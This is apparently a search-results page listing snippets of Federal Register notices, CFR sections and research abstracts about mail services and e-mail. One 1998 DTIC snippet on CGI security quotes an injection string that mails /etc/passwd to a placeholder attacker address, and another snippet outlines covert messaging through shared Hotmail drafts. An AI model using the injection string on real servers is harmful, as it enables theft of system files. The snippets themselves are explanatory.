75 FR 22725 - Express Mail Next Day Delivery Postage Refund Amendment

Federal Register 2010, 2011, 2012, 2013, 2014

2010-04-30

... at all times of deposit or between all Post Office TM facilities. Express Mail Second Day Delivery During the time period of December 22 through December 25, postage refunds for Express Mail Second Day..., or for which delivery to the addressee was not attempted on the second business day. These refunds...

37 CFR 2.198 - Filing of correspondence by “Express Mail.”

Code of Federal Regulations, 2010 CFR

2010-07-01

...Express Mail.â 2.198 Section 2.198 Patents, Trademarks, and Copyrights UNITED STATES PATENT AND TRADEMARK OFFICE, DEPARTMENT OF COMMERCE RULES OF PRACTICE IN TRADEMARK CASES General Information and... that was delivered by the “Express Mail Post Office to Addressee” service of the United States Postal...

Characteristics of effective electronic mail messages distributed to healthcare professionals in a hospital setting.

PubMed

Kaltschmidt, Jens; Schmitt, Simon P W; Pruszydlo, Markus G; Haefeli, Walter E

2008-01-01

Electronic mailing systems (e-mail) are an important means to disseminate information within electronic networks. However, in large business communities including the hectic environment of hospitals it may be difficult to induce account holders to read the e-mail. In two mailings disseminated in a large university hospital we evaluated the impact of e-mail layout (three e-mail text versions, two e-mails with graphics) on the willingness of its approximately 6500 recipients to seek additional electronic information and open an integrated link. Overall access rates after 90 days were 21.1 and 23.5% with more than 70% of the respondents opening the link within 3 days. Differences between different layouts were large and artwork text, HTML text, animated GIF, and static image prompted 1.2, 1.7, 1.8, and 2.3 times more often access than the courier plain text message (p

Characteristics of Effective Electronic Mail Messages Distributed to Healthcare Professionals in a Hospital Setting

PubMed Central

Kaltschmidt, Jens; Schmitt, Simon P.W.; Pruszydlo, Markus G.; Haefeli, Walter E.

2008-01-01

Electronic mailing systems (e-mail) are an important means to disseminate information within electronic networks. However, in large business communities including the hectic environment of hospitals it may be difficult to induce account holders to read the e-mail. In two mailings disseminated in a large university hospital we evaluated the impact of e-mail layout (three e-mail text versions, two e-mails with graphics) on the willingness of its ∼6500 recipients to seek additional electronic information and open an integrated link. Overall access rates after 90 days were 21.1 and 23.5% with more than 70% of the respondents opening the link within 3 days. Differences between different layouts were large and artwork text, HTML text, animated GIF, and static image prompted 1.2, 1.7, 1.8, and 2.3 times more often access than the courier plain text message (p ≤ 0.001). This study revealed that layout is a major determinant of the success of an information campaign. PMID:18096910

7 CFR 352.11 - Mail.

Code of Federal Regulations, 2010 CFR

2010-01-01

... open mail or in closed dispatches. They may do so if it comes to their attention that any such mail or parcel post contains prohibited or restricted products or articles which require safeguard action...

78 FR 123 - Diablo Canyon, Independent Spent Fuel Storage Installation; License Amendment Request...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-01-02

... receipt of the document. The E-Filing system also distributes an email notice that provides access to the...: Rulemaking and Adjudications Staff; or (2) courier, express mail, or expedited delivery service to the Office... mail as of the time of deposit in the mail, or by courier, express mail, or expedited delivery service...

78 FR 119 - Consideration of Approval of Application Containing Sensitive Unclassified Non-Safeguards...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-01-02

... receipt of the document. The E-Filing system also distributes an email notice that provides access to the...: Rulemaking and Adjudications Staff; or (2) courier, express mail, or expedited delivery service to the Office... mail as of the time of deposit in the mail, or by courier, express mail, or expedited delivery service...

Communication security in open health care networks.

PubMed

Blobel, B; Pharow, P; Engel, K; Spiegel, V; Krohn, R

1999-01-01

Fulfilling the shared care paradigm, health care networks providing open systems' interoperability in health care are needed. Such communicating and co-operating health information systems, dealing with sensitive personal medical information across organisational, regional, national or even international boundaries, require appropriate security solutions. Based on the generic security model, within the European MEDSEC project an open approach for secure EDI like HL7, EDIFACT, XDT or XML has been developed. The consideration includes both securing the message in an unsecure network and the transport of the unprotected information via secure channels (SSL, TLS etc.). Regarding EDI, an open and widely usable security solution has been specified and practically implemented for the examples of secure mailing and secure file transfer (FTP) via wrapping the sensitive information expressed by the corresponding protocols. The results are currently prepared for standardisation.

Weight problems and spam e-mail for weight loss products.

PubMed

Fogel, Joshua; Shlivko, Sam

2010-01-01

This study focuses on young adult behaviors with regard to spam e-mails that sell weight loss products. Participants (N = 200) with and without weight problems were asked if they received, opened, and bought products from spam e-mail about weight loss topics in the past year. Psychological factors of self-esteem and perceived stress were measured. Those with weight problems had significantly greater percentages than those without weight problems for receiving (87.7% vs. 73.3%, P = 0.02), opening (41.5% vs. 17.8%, P <0.001), and buying products (18.5% vs. 5.2%, P = 0.003). In the multivariate logistic regression analyses, weight problems were significantly associated with receiving (OR: 3.39, 95% CI: 1.31, 8.82), opening (OR: 3.10, 95% CI: 1.53, 6.29), and buying products (OR: 3.38, 95% CI: 1.16, 9.82). Physicians should consider discussing with patients the potential risks of opening and/or purchasing weight loss products from spam e-mails.

Inquiry Response Security Issues with CGI Scripting and JAVA Implementations

DTIC Science & Technology

1998-03-26

that looks like this? nobody@nowhere.com;mail badguys@hell.orgc/etc/ passwd ; Now the open0 statement will evaluate the following command: /usr/lib...sendmail nobody@nowhere.com; mail badguys@hell.orgdetc/ passwd Unintentionally, open0 has mailed the contents of the system password file to the remote...functions outside of the script. For example, the following URL requests a copy of /etc/ passwd from the server machine: http://www.odci.gov/cgi-bin

76 FR 11291 - NextEra Energy Seabrook, LLC; Seabrook Station Unit No. 1; Notice of Consideration of Issuance of...

Federal Register 2010, 2011, 2012, 2013, 2014

2011-03-01

... Adjudications Staff; or (2) courier, express mail, or expedited delivery service to the Office of the Secretary... time of deposit in the mail, or by courier, express mail, or expedited delivery service upon depositing... expedited delivery or courier mail address for both offices is: U.S. Nuclear Regulatory Commission, 11555...

78 FR 66962 - Advisory Committee on Construction Safety and Health (ACCSH)

Federal Register 2010, 2011, 2012, 2013, 2014

2013-11-07

... Assistant Secretary of Labor request for nominations for membership on ACCSH. DATES: ACCSH meeting: ACCSH... Office at (202) 693- 1648. Regular mail, express mail, hand delivery, or messenger (courier) service...). OSHA's Docket Office accepts deliveries (hand deliveries, express mail, and messenger service) during...

78 FR 47427 - AUC, LLC Reno Creek, In Situ

Federal Register 2010, 2011, 2012, 2013, 2014

2013-08-05

...-Filing system also distributes an email notice that provides access to the document to the NRC's Office...) courier, express mail, or expedited delivery service to the Office of the Secretary, Sixteenth Floor, One... the mail, or by courier, express mail, or expedited delivery service upon depositing the document with...

78 FR 35066 - Applications and Amendments to Facility Operating Licenses and Combined Licenses Involving...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-06-11

... also distributes an email notice that provides access to the document to the NRC's Office of the...) courier, express mail, or expedited delivery service to the Office of the Secretary, Sixteenth Floor, One... the mail, or by courier, express mail, or expedited delivery service upon depositing the document with...

78 FR 3454 - Prairie Island, Independent Spent Fuel Storage Installation; Notice of Docketing of Amendment...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-01-16

...-Filing system also distributes an email notice that provides access to the document to the NRC's Office... Adjudications Staff; or (2) courier, express mail, or expedited delivery service to the Office of the Secretary... time of deposit in the mail, or by courier, express mail, or expedited delivery service upon depositing...

14 CFR 249.7 - Restrictions on record destruction.

Code of Federal Regulations, 2010 CFR

2010-01-01

... PROCEEDINGS) ECONOMIC REGULATIONS PRESERVATION OF AIR CARRIER RECORDS General Instructions § 249.7... of a DOT order fixing the final mail compensation payable for services rendered during an “open mail...

78 FR 76863 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-19

... filing concerning a contract with Australia Post for the delivery of inbound Air CP and Express Mail... inbound Air CP \\2\\ and Express Mail Services (EMS) in the United States, included within the Inbound...), December 11, 2013 (Notice). \\2\\ ``CP'' is an abbreviation used to identify or reference international...

78 FR 13713 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2013-02-28

... Product AGENCY: Postal Regulatory Commission. ACTION: Notice. SUMMARY: The Commission is noticing a recent Postal Service filing concerning the addition of Express Mail Contract 14 to the competitive product list... 14 to the competitive product list.\\1\\ The Postal Service asserts that Express Mail Contract 14 is a...

75 FR 7951 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2010-02-23

... is adding Express Mail Contract 8 to the Competitive Product List. This action is consistent with a postal reform law. Republication of the Product Lists is also consistent with a statutory provision... seeks to add a new product identified as Express Mail Contract 8 to the Competitive Product List. For...

75 FR 65675 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2010-10-26

... POSTAL REGULATORY COMMISSION [Docket Nos. MC2010-37 and CP2010-126; Order No. 553] New Postal.... It is also noticing a contemporaneous Postal Service notice that new rates for inbound Express Mail... notice pursuant to 39 U.S.C. 3632(b)(3) and 39 CFR 3015.5 that new rates for inbound Express Mail Service...

37 CFR 1.10 - Filing of correspondence by “Express Mail.”

Code of Federal Regulations, 2010 CFR

2010-07-01

... Office to Addressee” service of the United States Postal Service (USPS) will be considered filed with the...Express Mail.â 1.10 Section 1.10 Patents, Trademarks, and Copyrights UNITED STATES PATENT AND TRADEMARK OFFICE, DEPARTMENT OF COMMERCE GENERAL RULES OF PRACTICE IN PATENT CASES General Provisions General...

41 CFR 102-192.155 - What should our agency-wide mail management policy statement cover?

Code of Federal Regulations, 2013 CFR

2013-07-01

... accountability, postage expenditure data, and commercial payment processes; (c) Your approach to performance..., and commingling to obtain postage savings; (e) Tracking incoming packages and accountable mail; (f) Maintaining centralized control of outgoing mail, especially outgoing express packages and letters; (g...

32 CFR Appendix C to Part 247 - Mailing of DoD Newspapers, Magazines, CE Guides, and Installation Maps; Sales and Distribution of...

Code of Federal Regulations, 2011 CFR

2011-07-01

.... Government Agencies, Members of Congress, libraries, hospitals, schools, and depositories. f. Mailing of an... by the commander, such as the foyers of open messes or exchanges. They will be placed only in stands...

78 FR 50370 - Travelers' Information Stations

Federal Register 2010, 2011, 2012, 2013, 2014

2013-08-19

... Service Express Mail and Priority Mail) must be sent to 9300 East Hampton Drive, Capitol Heights, MD 20743... inspection and copying during normal business hours in the FCC Reference Information Center, Portals II, 445... Priority Mail) must be sent to 9300 East Hampton Drive, Capitol Heights, MD 20743. U.S. Postal Service...

75 FR 76282 - Domestic Shipping Services Pricing and Mailing Standards Changes

Federal Register 2010, 2011, 2012, 2013, 2014

2010-12-08

... when using a qualifying shipping label managed by the PC Postage system used. b. Permit imprint... system used. b. Permit imprint customers. * * * * * 1.8 Determining Single-Piece Weight [Revise the last... imprint customers. c. Priority Mail Open and Distribute (PMOD) customers whose account volume exceeds 600...

Models of Mentoring in Communication

ERIC Educational Resources Information Center

Buell, Cindy

2004-01-01

This study examined faculty and student conceptualizations and distinctively communicative practices of mentoring in the academy. The study included three phases: (1) open-ended surveys conducted with faculty and students via e-mail, (2) focus groups conducted with faculty and students to elaborate on findings from the e-mail interviews, and (3)…

Hooked on E-Mail

ERIC Educational Resources Information Center

Espinoza, Kathy

2011-01-01

Information overload, and an expectation that e-mails, tweets, and text messages will be answered immediately, impact productivity. The younger, information-addicted workers have a greater capacity to process this open floodgate of information, as well as a better ability to multitask. Research suggests that there is a marked drop in worker…

Alternative Fuels Data Center: Ryder Opens Natural Gas Vehicle Maintenance

Science.gov Websites

Facility Ryder Opens Natural Gas Vehicle Maintenance Facility to someone by E-mail Share Alternative Fuels Data Center: Ryder Opens Natural Gas Vehicle Maintenance Facility on Facebook Tweet about Alternative Fuels Data Center: Ryder Opens Natural Gas Vehicle Maintenance Facility on Twitter Bookmark

NREL Open House Features Energy Activities, Tours

Science.gov Websites

Open House Features Energy Activities, Tours For more information contact: e:mail: Public Affairs National Renewable Energy Laboratory (NREL) will open its doors 10 a.m. to 3 p.m., Saturday, July 24 for tours of its research facilities and interactive exhibits at the Visitors Center. The Open House

18 CFR 157.34 - Notice of open season.

Code of Federal Regulations, 2011 CFR

2011-04-01

... including postings on Internet Web sites, press releases, direct mail solicitations, and other advertising... open season or allocation of capacity that is not posted on the open season Internet Web site or that... due to economic, engineering, design, capacity or operational constraints, or accommodating the...

10 CFR 2.305 - Service of documents; methods; proof.

Code of Federal Regulations, 2011 CFR

2011-01-01

... service, or by first-class, express, certified or registered mail. As to each participant that cannot... evidence, may be made by first-class mail in all cases, unless the presiding officer directs otherwise or... by the same or equivalent method, such as by electronic transmission or first-class mail, that they...

Alternative Fuels Data Center: West Virginia CNG Corridor Now Open

Science.gov Websites

West Virginia CNG Corridor Now Open to someone by E-mail Share Alternative Fuels Data Center: West Virginia CNG Corridor Now Open on Facebook Tweet about Alternative Fuels Data Center: West Virginia CNG Corridor Now Open on Twitter Bookmark Alternative Fuels Data Center: West Virginia CNG Corridor Now Open on

75 FR 39477 - New Standards for Domestic Mailing Services

Federal Register 2010, 2011, 2012, 2013, 2014

2010-07-09

... 2009 and FY 2010 in order to be eligible for participation. 2011 Saturation and High Density Incentive... letters and flats mailed at saturation and high density prices. This program would encourage mailers to increase the volume within two of our highest margin products and would be open to all mailers meeting the...

Electronic Survey Administration: Assessment in the Twenty-First Century

ERIC Educational Resources Information Center

Olsen, Danny R.; Wygant, Steven A.; Brown, Bruce L.

2004-01-01

Recent advances in electronic data collection have opened broad new possibilities for educational assessment. Potentially significant savings in time, money, and effort make Web-based and e-mail-based surveys more and more attractive as alternatives to mail surveys and face-to-face interviews. Yet, as with any major change, questions and obstacles…

49 CFR 1548.7 - Approval, amendment, annual renewal, and withdrawal of approval of the security program.

Code of Federal Regulations, 2011 CFR

2011-10-01

... behalf of it and other indirect air carriers that co-sign the proposal. (1) Within 30 calendar days after... accomplished by personal delivery, certified mail, or express courier. Documents served on an indirect air... personal delivery; (ii) If served by certified mail, the mailing date shown on the certificate of service...

Design of monitoring system for mail-sorting based on the Profibus S7 series PLC

NASA Astrophysics Data System (ADS)

Zhang, W.; Jia, S. H.; Wang, Y. H.; Liu, H.; Tang, G. C.

2017-01-01

With the rapid development of the postal express, the workload of mail sorting is increasing, but the automatic technology of mail sorting is not mature enough. In view of this, the system uses Siemens S7-300 PLC as the main station controller, PLC of Siemens S7-200/400 is from the station controller, through the man-machine interface configuration software MCGS, PROFIBUS-DP communication, RFID technology and mechanical sorting hand achieve mail classification sorting monitoring. Among them, distinguish mail-sorting by scanning RFID posted in the mail electronic bar code (fixed code), the system uses the corresponding controller on the acquisition of information processing, the processed information transmit to the sorting manipulator by PROFIBUS-DP. The system can realize accurate and efficient mail sorting, which will promote the development of mail sorting technology.

Global Insurgency Strategy and the Salafi Jihad Movement

DTIC Science & Technology

2008-04-01

Coll and Glasser,  is through public e­mail services such as  Hotmail . Here is how it  works: An operative opens an account on Hotmail , “writes a...secretly, reported by Coll and Glasser,  is through public e­mail services such as  Hotmail . Here is how it  works: An operative opens an account on... Hotmail , “writes a message  in draft form, saves it as a draft, and then transmits the e­mail account  name and password during chatter on a relatively

Opening a Conversation between Department Chairs: Possibilities for the U.S. and Australia.

ERIC Educational Resources Information Center

Wolverton, Mimi; And Others

This study identified and compared the environmental pressures and work-related stresses that impact the chairs of academic departments at universities in Australia and the United States. Surveys were mailed to every department chair at all 40 Australian universities (1680 chairs) with a 51 percent response rate. Surveys were also mailed to a…

76 FR 1359 - Drawbridge Operation Regulation; Atlantic Intracoastal Waterway, Wrightsville Beach, NC

Federal Register 2010, 2011, 2012, 2013, 2014

2011-01-10

... the deviation in the past three years. The bridge will not be able to open for emergencies. In... INFORMATION CONTACT: If you have questions on this rule, call or e-mail Lindsey Middleton, Coast Guard; telephone 757-398-6629, e-mail [email protected] . If you have questions on viewing the docket...

76 FR 51885 - Drawbridge Operation Regulation; Grassy Sound Channel, Middle Township, NJ

Federal Register 2010, 2011, 2012, 2013, 2014

2011-08-19

... the past 6 years there have been minimal openings for this bridge during the morning hours in August... INFORMATION CONTACT: If you have questions on this rule, call or e-mail Lindsey Middleton, Coast Guard; telephone 757-398-6629, e-mail [email protected] . If you have questions on viewing the docket...

Can We Legislate Spam?

ERIC Educational Resources Information Center

Wigen, Wendy

2004-01-01

Spam is not just a technology issue. It is a social issue, and it threatens something very dear: the viability of e-mail. Campuses struggle to support solutions that will control the costs of filtering spam, keep "false positives" to a minimum and not diminish their own marketing use of mass e-mails. The openness of the Internet, long touted as…

Impact of predictive scoring model and e-mail messages on African American blood donors.

PubMed

Bachegowda, Lohith S; Timm, Brad; Dasgupta, Pinaki; Hillyer, Christopher D; Kessler, Debra; Rebosa, Mark; France, Christopher R; Shaz, Beth H

2017-06-01

Expanding the African American (AA) donor pool is critical to sustain transfusion support for sickle cell disease patients. The aims were to: 1) apply cognitive computing on donation related metrics to develop a predictive model that effectively identifies repeat AA donors, 2) determine whether a single e-mail communication could improve AA donor retention and compare retention results on higher versus lower predictive score donors, and 3) evaluate the effect of e-mail marketing on AA donor retention with culturally versus nonculturally tailored message. Between 2011 and 2012, 30,786 AA donors donated blood at least once on whom predictive repeat donor scores (PRDSs) was generated from donor-related metrics (frequency of donations, duration between donations, age, blood type, and sex). In 2013, 28% (8657/30,786) of 2011 to 2012 donors returned to donate on whom PRDS was validated. Returning blood donors had a higher mean PRDS compared to nonreturning donors (0.649 vs. 0.268; p < 0.001). In the e-mail pilot, high PRDS (≥0.6) compared to low PRDS (<0.6) was associated with 89% higher donor presentation rate (p < 0.001), 20% higher e-mail opening rate (p < 0.001), and, specifically among those who opened the e-mail, 159% higher presentation rate (p < 0.001). Finally, blood donation rate did not differ (p = 0.79) as a function of generic (n = 9312, 1.4%) versus culturally tailored (n = 9326, 1.3%) message. Computational algorithms utilizing readily available donor metrics can identify highly committed AA donors and in conjunction with targeted e-mail communication has the potential to increase the efficiency of donor marketing. © 2017 AABB.

Marketing Open and Flexible Learning...The Direct Mail Approach.

ERIC Educational Resources Information Center

Hunter, Ian; Beeson, David

The first section of this instructional guide explains why open learning needs marketing and what steps go into preparing a marketing campaign, including marketing the college and tutor time, service definition, service delivery, and communications. Changes in education that have affected open learning in recent years are addressed in the second…

The impact of e-mail in acquiring and retaining whole-blood donors: a comparative analysis of the Puget Sound Blood Center donor e-mail communication program.

PubMed

Geyer, Maria Elena

2005-12-01

With the emergence of e-mail as a common form of communication, it is important to understand the role and impact e-mail can have on acquiring and retaining whole-blood donors. Whole-blood donors who opted in to receive e-mail communications (n = 43,232) from the Puget Sound Blood Center (PSBC) and as a result participated in one or more of five e-mail marketing campaigns between July 2002 and March 2003 were studied. New donors with e-mail addresses grew by 74 percent over the measurement period compared with 2 percent growth of those without e-mail addresses. Nearly 15,000 prospective donors were reached as a result of donors passing along e-mails they received from PSBC to friends and family. Nearly 5 percent of PSBC e-mail campaign recipients registered to donate online. PSBC e-mail campaigns have outperformed e-mail marketing industry mean open rates by 44 percent and click-through rates by 36 percent. E-mail is now a mainstream communication medium. It has proven to be an effective method of reaching new donors and generating new donation registrations. Donors respond more favorably to e-mail communications from PSBC compared with e-mail they receive from other organizations. Deeper understanding of how different segments of blood donors use e-mail may help blood centers adjust their donor acquisition and retention programs. New recruitment methods are needed to grow the overall donor base, and e-mail appears to have the potential to make a significant contribution to meeting this objective.

Participation Rates in a Worksite Wellness Program Using E-Mail Wellness Messages

ERIC Educational Resources Information Center

Anenson, Larry W.; Brunt, Ardith; Terbizan, Donna J.; Christensen, Bryan

2014-01-01

The purpose of this study was to determine which days of the work week had the largest rate of opened e-health messages, whether detailed or basic e-health messages were more likely to be opened, if motivation influenced the rate of message opening, and if the rate of opening messages declined over time. Ninety-one city employees (52 male and 39…

Position Request | Center for Cancer Research

Cancer.gov

CCR Staff Only - Use this form (NIH login required) to advertise open training or career positions. You are required to list information about the position, as well as contact information so that potential applicants may reach you. Mandatory fields are marked by an asterisk (*). A confirmation e-mail will be sent to the address listed in the "Contact E-mail" field upon

78 FR 79027 - Product Change-Priority Mail Express Negotiated Service Agreement

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-27

...The Postal Service gives notice of filing a request with the Postal Regulatory Commission to add a domestic shipping services contract to the list of Negotiated Service Agreements in the Mail Classification Schedule's Competitive Products List.

Do you feel you know how to write an e-mail?

NASA Astrophysics Data System (ADS)

Leonova, Anna O.

2003-10-01

Computers have opened doors to the new era of telecommunication. Electronic mail is becoming very popular in different spheres of professional activity and everyday life of people all over the world as it provides people an excellent opportunity for real, natural communication. The use of e-mail and the Internet involves a whole range of skills including knowing how to use a personal computer, knowing how to navigate the immense resources of cyberspace, and becoming familiar with the special register of e-mail communication (which lies somewhere between the formality of traditional writing and the spontaneity of speech). Conferencing via e-mail, or communicating with partners through networked computers, offers many opportunities in the Scientific Community. E-mail allows us to collaborate easily with thousands of colleagues, sharing new ideas, resources, and materials. It can provide the information, contacts, and stimulation that can make our research work more effective and enjoyable. The English language is world-wide accepted as lingua-franca of the Internet and intercultural communication. This brings us to a necessity to introduce some ideas on e-mail writing.

New Secure E-mail System Based on Bio-Chaos Key Generation and Modified AES Algorithm

NASA Astrophysics Data System (ADS)

Hoomod, Haider K.; Radi, A. M.

2018-05-01

The E-mail messages exchanged between sender’s Mailbox and recipient’s Mailbox over the open systems and insecure Networks. These messages may be vulnerable to eavesdropping and itself poses a real threat to the privacy and data integrity from unauthorized persons. The E-mail Security includes the following properties (Confidentiality, Authentication, Message integrity). We need a safe encryption algorithm to encrypt Email messages such as the algorithm Advanced Encryption Standard (AES) or Data Encryption Standard DES, as well as biometric recognition and chaotic system. The proposed E-mail system security uses modified AES algorithm and uses secret key-bio-chaos that consist of biometric (Fingerprint) and chaotic system (Lu and Lorenz). This modification makes the proposed system more sensitive and random. The execution time for both encryption and decryption of the proposed system is much less from original AES, in addition to being compatible with all Mail Servers.

77 FR 64599 - Change in Rates and Classes of General Applicability for Competitive Products

Federal Register 2010, 2011, 2012, 2013, 2014

2012-10-22

... 38.48 Flat Tub 16.68 20.91 25.85 43.73 52.78 57.06 63.51 b. Processing Facilities Local, Zones 1... Zone 4 DNDC Zones 5 ($) ($) ($) ($) 1 6.21 7.18 8.12 9.05 2 6.21 7.18 8.12 9.05 3 6.51 8.00 9.30 10.06... * * * * * 2105 Express Mail * * * * * 2105.6 Prices Retail Express Mail Zone/Weight Maximum weight (pounds) Zones...

77 FR 51576 - Notice of Lodging of Proposed Fourth Amendment to the Consent Decree Under the Clean Air Act

Federal Register 2010, 2011, 2012, 2013, 2014

2012-08-24

... (with regard to the Philadelphia refinery).'' The publication of this notice opens a period for public... Decree may also be obtained by mail from the Consent Decree Library, P.O. Box 7611, U.S. Department of... a copy from the Consent Decree Library by mail, please enclose a check in the amount of $8.00 (25...

76 FR 52915 - Periodic Reporting

Federal Register 2010, 2011, 2012, 2013, 2014

2011-08-24

... proposed changes in certain analytical methods used in periodic reporting. The proposed changes are... assignment of certain flat sorting operations; bias in mixed mail tallies; and Express Mail. Establishing... consider changes in the analytical methods approved for use in periodic reporting.\\1\\ \\1\\ Petition of the...

77 FR 43867 - Negotiated Service Agreement Amendment

Federal Register 2010, 2011, 2012, 2013, 2014

2012-07-26

..., information relevant to the customer's mailing profile, and cost coverage projections. Id. The Postal Service... POSTAL REGULATORY COMMISSION [Docket No. CP2009-43; Order No. 1410] Negotiated Service Agreement... recently-filed Postal Service request concerning a change in the termination date of Express Mail...

76 FR 4110 - Sunshine Act Meeting; FCC To Hold Open Commission Meeting Tuesday, January 25, 2011

Federal Register 2010, 2011, 2012, 2013, 2014

2011-01-24

... Tuesday, January 25, 2011 January 18, 2011. The Federal Communications Commission will hold an Open...) 418- 0500; TTY 1-888-835-5322. Audio/Video coverage of the meeting will be broadcast live with open.../ type; digital disk; and audio and video tape. Best Copy and Printing, Inc. may be reached by e-mail at...

Monitoring InBaskets With Feedback to Providers Enhances the Timeliness of Patient Care.

PubMed

Trant, Amelia A; Strait, Michael; Kaplan, Rory; Dest, Vanna; Roshka, Adam; Lyons, Catherine A; Vest, Kevin A; Steffen, Tessa; Chiang, Anne; Adelson, Kerin B

2018-05-01

Electronic health records have changed providers' workflow. Epic's InBasket supplants traditional communication and is a central hub for clinical information. Failure to promptly complete records impairs communication and revenue collection. By tracking providers' InBasket activities and offering feedback, we hoped to improve InBasket management and interdisciplinary communication. We created a report to track 273 providers' InBasket activities, including ambulatory transcriptions, chart cosignatures, order cosignatures, patient calls, results, and billable encounters. The report showed how often and for how long each activity was delinquent. We completed three Plan-Do-Study-Act cycles. During cycle 1 (November to December 2015), we sent all providers automated e-mails with their monthly results. During cycle 2 (January to April 2016), we focused solely on billable encounter closure and sent targeted e-mails to providers with > 50 delinquent encounters. The e-mails stated that providers had 30 days to complete encounters or their practices would be closed to new patients; at 30 days, noncompliant providers had 60 days before practice suspension. During cycle 3 (May to September 2016), we continued to monitor and send targeted e-mails to providers who accumulated > 50 encounters. We modeled the financial impact of the intervention using net closure data, the report's aging function, and billing logs. InBasket monitoring with structured feedback decreased open encounters by 53.43%. We did not see improvements in the other metrics that the report tracked. We estimate that $231,724 was saved as a result of the intervention and $349,179 was lost to filing deadlines. Automated e-mails did not reduce open encounters; targeted e-mails to providers improved InBasket management.

Adoptive Parents' Attitudes Toward Open Birth Records.

ERIC Educational Resources Information Center

Geissinger, Shirley

1984-01-01

Investigated adoptive parents' (N=42) attitudes toward the open birth record issues using a mail survey. Analysis indicated that parental fear was the most important variable. Most supported a measure allowing adult adoptees access to birth records, provided such access was agreeable to birth and adoptive parents. (JAC)

How to Use This Website | USDA Plant Hardiness Zone Map

Science.gov Websites

, regional or national plant hardiness zone maps in three different resolutions using the following steps. To default printing menu option or button. Viewing the Map - Open Full Map Button c. Save Full Map Button can copy the e-mail address and paste it into a different e-mail client (e.g., Google Gmail, Yahoo

ST Course Registration Form | Center for Cancer Research

Cancer.gov

The Statistical Tutorial course is intended primarily for NIH Clinical and Postdoctoral Fellows. Registration will be open: April 23, 2018 to May 10, 2018 This course's Date and location is: Monday, May 14, 1PM to 4PM Building 45, Rooms F1/F2 Mandatory responses are marked by an asterisk (*). A confirmation e-mail will be sent to the address listed in the "E-mail Address"

Speech-based E-mail and driver behavior: effects of an in-vehicle message system interface.

PubMed

Jamson, A Hamish; Westerman, Stephen J; Hockey, G Robert J; Carsten, Oliver M J

2004-01-01

As mobile office technology becomes more advanced, drivers have increased opportunity to process information "on the move." Although speech-based interfaces can minimize direct interference with driving, the cognitive demands associated with such systems may still cause distraction. We studied the effects on driving performance of an in-vehicle simulated "E-mail" message system; E-mails were either system controlled or driver controlled. A high-fidelity, fixed-base driving simulator was used to test 19 participants on a car-following task. Virtual traffic scenarios varying in driving demand. Drivers compensated for the secondary task by adopting longer headways but showed reduced anticipation of braking requirements and shorter time to collision. Drivers were also less reactive when processing E-mails, demonstrated by a reduction in steering wheel inputs. In most circumstances, there were advantages in providing drivers with control over when E-mails were opened. However, during periods without E-mail interaction in demanding traffic scenarios, drivers showed reduced braking anticipation. This may be a result of increased cognitive costs associated with the decision making process when using a driver-controlled interface when the task of scheduling E-mail acceptance is added to those of driving and E-mail response. Actual or potential applications of this research include the design of speech-based in-vehicle messaging systems.

28 CFR 540.22 - Special postal services.

Code of Federal Regulations, 2013 CFR

2013-07-01

... 540.22 Judicial Administration BUREAU OF PRISONS, DEPARTMENT OF JUSTICE INSTITUTIONAL MANAGEMENT... of Prisons (see part 543, subpart C of this chapter). (c) Certified mail is sent first class at the inmate's expense. (d) An inmate may not be provided such services as express mail, COD, private carriers...

28 CFR 540.22 - Special postal services.

Code of Federal Regulations, 2014 CFR

2014-07-01

... 540.22 Judicial Administration BUREAU OF PRISONS, DEPARTMENT OF JUSTICE INSTITUTIONAL MANAGEMENT... of Prisons (see part 543, subpart C of this chapter). (c) Certified mail is sent first class at the inmate's expense. (d) An inmate may not be provided such services as express mail, COD, private carriers...

28 CFR 540.22 - Special postal services.

Code of Federal Regulations, 2012 CFR

2012-07-01

... 540.22 Judicial Administration BUREAU OF PRISONS, DEPARTMENT OF JUSTICE INSTITUTIONAL MANAGEMENT... of Prisons (see part 543, subpart C of this chapter). (c) Certified mail is sent first class at the inmate's expense. (d) An inmate may not be provided such services as express mail, COD, private carriers...

28 CFR 540.22 - Special postal services.

Code of Federal Regulations, 2011 CFR

2011-07-01

... 540.22 Judicial Administration BUREAU OF PRISONS, DEPARTMENT OF JUSTICE INSTITUTIONAL MANAGEMENT... of Prisons (see part 543, subpart C of this chapter). (c) Certified mail is sent first class at the inmate's expense. (d) An inmate may not be provided such services as express mail, COD, private carriers...

75 FR 61572 - Open Meeting of the OTS Mutual Savings Association Advisory Committee

Federal Register 2010, 2011, 2012, 2013, 2014

2010-10-05

... DEPARTMENT OF THE TREASURY Office of Thrift Supervision [Docket ID OTS-2010-0030] Open Meeting of... Thrift Supervision. ACTION: Notice of meeting. SUMMARY: The OTS Mutual Savings Associations Advisory....treas.gov ; or Mail: to Charlotte Bahin, Designated Federal Official, Office of Thrift Supervision, 1700...

75 FR 7513 - Notice of Proposed Information Collection: Comment Request; FHA TOTAL (Technology Open to...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-02-19

... Information Collection: Comment Request; FHA TOTAL (Technology Open to Approved Lenders) Mortgage Scorecard... information collection requirement described below will be submitted to the Office of Management and Budget...-mail [email protected] or telephone (202) 402-8048 or the number for the Federal Information...

76 FR 1608 - Blue Ribbon Commission on America's Nuclear Future

Federal Register 2010, 2011, 2012, 2013, 2014

2011-01-11

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of open meeting. SUMMARY: This notice announces an open...- 0544; e-mail [email protected]nuclear.energy.gov . Additional information may also be available at http...

75 FR 25850 - Blue Ribbon Commission on America's Nuclear Future

Federal Register 2010, 2011, 2012, 2013, 2014

2010-05-10

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of open meeting. SUMMARY: This notice announces an open...-4243 or facsimile (202) 586- 0544; e-mail [email protected]nuclear.energy.gov . Additional information may...

75 FR 10791 - Blue Ribbon Commission on America's Nuclear Future

Federal Register 2010, 2011, 2012, 2013, 2014

2010-03-09

